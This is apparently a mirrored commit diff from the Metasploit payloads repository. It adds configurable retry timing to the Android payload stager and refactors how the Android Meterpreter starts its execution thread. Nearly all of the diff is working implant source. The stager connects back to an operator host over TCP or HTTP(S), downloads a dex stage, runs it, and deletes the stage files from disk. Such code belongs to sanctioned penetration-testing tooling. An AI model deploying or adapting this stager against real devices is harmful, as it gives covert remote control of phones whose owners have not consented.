mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-18 07:11:12 +02:00
add support for configurable retry options
This commit is contained in:
parent
98aa4babbf
commit
5fce838afc
java/androidpayload
app/src/com/metasploit/stage
library/src/com/metasploit/meterpreter
@ -12,6 +12,7 @@ import java.net.Socket;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLConnection;
|
import java.net.URLConnection;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
import javax.net.ssl.HttpsURLConnection;
|
import javax.net.ssl.HttpsURLConnection;
|
||||||
|
|
||||||
@ -22,13 +23,16 @@ public class Payload {
|
|||||||
public static final String LHOST = "XXXX127.0.0.1 ";
|
public static final String LHOST = "XXXX127.0.0.1 ";
|
||||||
public static final String LPORT = "YYYY4444 ";
|
public static final String LPORT = "YYYY4444 ";
|
||||||
public static final String URL = "ZZZZ ";
|
public static final String URL = "ZZZZ ";
|
||||||
public static final String TRIALS = "TTTT ";
|
public static final String RETRY_TOTAL = "TTTT ";
|
||||||
|
public static final String RETRY_WAIT = "SSSS ";
|
||||||
|
|
||||||
private static final int URI_CHECKSUM_INITJ = 88;
|
private static final int URI_CHECKSUM_INITJ = 88;
|
||||||
private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
private static final Random rnd = new Random();
|
private static final Random rnd = new Random();
|
||||||
|
|
||||||
private static String[] parameters;
|
private static String[] parameters;
|
||||||
|
private static int retryTotal;
|
||||||
|
private static int retryWait;
|
||||||
|
|
||||||
public static void start(Context context) {
|
public static void start(Context context) {
|
||||||
startInPath(context.getFilesDir().toString());
|
startInPath(context.getFilesDir().toString());
|
||||||
@ -55,26 +59,35 @@ public class Payload {
|
|||||||
String path = currentDir.getAbsolutePath();
|
String path = currentDir.getAbsolutePath();
|
||||||
parameters = new String[] { path };
|
parameters = new String[] { path };
|
||||||
}
|
}
|
||||||
int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
|
|
||||||
while (!startReverseConn() && nTrials-- > 0) {
|
|
||||||
try {
|
try {
|
||||||
Thread.sleep(60000);
|
retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim());
|
||||||
|
retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim());
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long retryEnd = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(retryTotal);
|
||||||
|
long retryDelay = TimeUnit.SECONDS.toMillis(retryWait);
|
||||||
|
|
||||||
|
while (retryEnd > System.currentTimeMillis()) {
|
||||||
|
startReverseConn();
|
||||||
|
try {
|
||||||
|
Thread.sleep(retryDelay);
|
||||||
} catch (InterruptedException e) {
|
} catch (InterruptedException e) {
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static boolean startReverseConn() {
|
private static void startReverseConn() {
|
||||||
try {
|
try {
|
||||||
if (URL.substring(4).trim().length() == 0) {
|
if (URL.substring(4).trim().length() == 0) {
|
||||||
reverseTCP();
|
reverseTCP();
|
||||||
} else {
|
} else {
|
||||||
reverseHTTP();
|
reverseHTTP();
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
return false;
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -115,7 +128,7 @@ public class Payload {
|
|||||||
urlConn = (HttpsURLConnection) url.openConnection();
|
urlConn = (HttpsURLConnection) url.openConnection();
|
||||||
Class.forName("com.metasploit.stage.PayloadTrustManager")
|
Class.forName("com.metasploit.stage.PayloadTrustManager")
|
||||||
.getMethod("useFor", new Class[] { URLConnection.class })
|
.getMethod("useFor", new Class[] { URLConnection.class })
|
||||||
.invoke(null, new Object[] { urlConn });
|
.invoke(null, urlConn);
|
||||||
} else {
|
} else {
|
||||||
urlConn = (HttpURLConnection) url.openConnection();
|
urlConn = (HttpURLConnection) url.openConnection();
|
||||||
}
|
}
|
||||||
@ -129,18 +142,13 @@ public class Payload {
|
|||||||
urlConn.disconnect();
|
urlConn.disconnect();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void reverseTCP() {
|
private static void reverseTCP() throws Exception {
|
||||||
try {
|
|
||||||
String lhost = LHOST.substring(4).trim();
|
String lhost = LHOST.substring(4).trim();
|
||||||
String lport = LPORT.substring(4).trim();
|
String lport = LPORT.substring(4).trim();
|
||||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||||
loadStage(in, out, parameters);
|
loadStage(in, out, parameters);
|
||||||
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
@ -176,9 +184,8 @@ public class Payload {
|
|||||||
final Object stage = myClass.newInstance();
|
final Object stage = myClass.newInstance();
|
||||||
file.delete();
|
file.delete();
|
||||||
new File(dexPath).delete();
|
new File(dexPath).delete();
|
||||||
myClass.getMethod(
|
myClass.getMethod("start",
|
||||||
"start",
|
new Class[] { DataInputStream.class, OutputStream.class, String[].class })
|
||||||
new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage,
|
.invoke(stage, in, out, parameters);
|
||||||
new Object[] { in, out, parameters });
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -49,18 +49,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
|||||||
private static String writeableDir;
|
private static String writeableDir;
|
||||||
private static Context context;
|
private static Context context;
|
||||||
|
|
||||||
private void startExecutingOnThread() {
|
private static Thread executionThread;
|
||||||
new Thread() {
|
|
||||||
@Override
|
|
||||||
public void run() {
|
|
||||||
try {
|
|
||||||
startExecuting();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}.start();
|
|
||||||
}
|
|
||||||
|
|
||||||
private void findContext() throws Exception {
|
private void findContext() throws Exception {
|
||||||
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
|
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
|
||||||
@ -76,7 +65,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
|||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
startExecutingOnThread();
|
executionThread.start();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
@ -91,8 +80,20 @@ public class AndroidMeterpreter extends Meterpreter {
|
|||||||
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
|
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
|
||||||
super(in, rawOut, true, redirectErrors, false);
|
super(in, rawOut, true, redirectErrors, false);
|
||||||
writeableDir = parameters[0];
|
writeableDir = parameters[0];
|
||||||
|
|
||||||
|
executionThread = new Thread() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
startExecuting();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
try {
|
try {
|
||||||
findContext();
|
findContext();
|
||||||
|
executionThread.join();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
startExecuting();
|
startExecuting();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user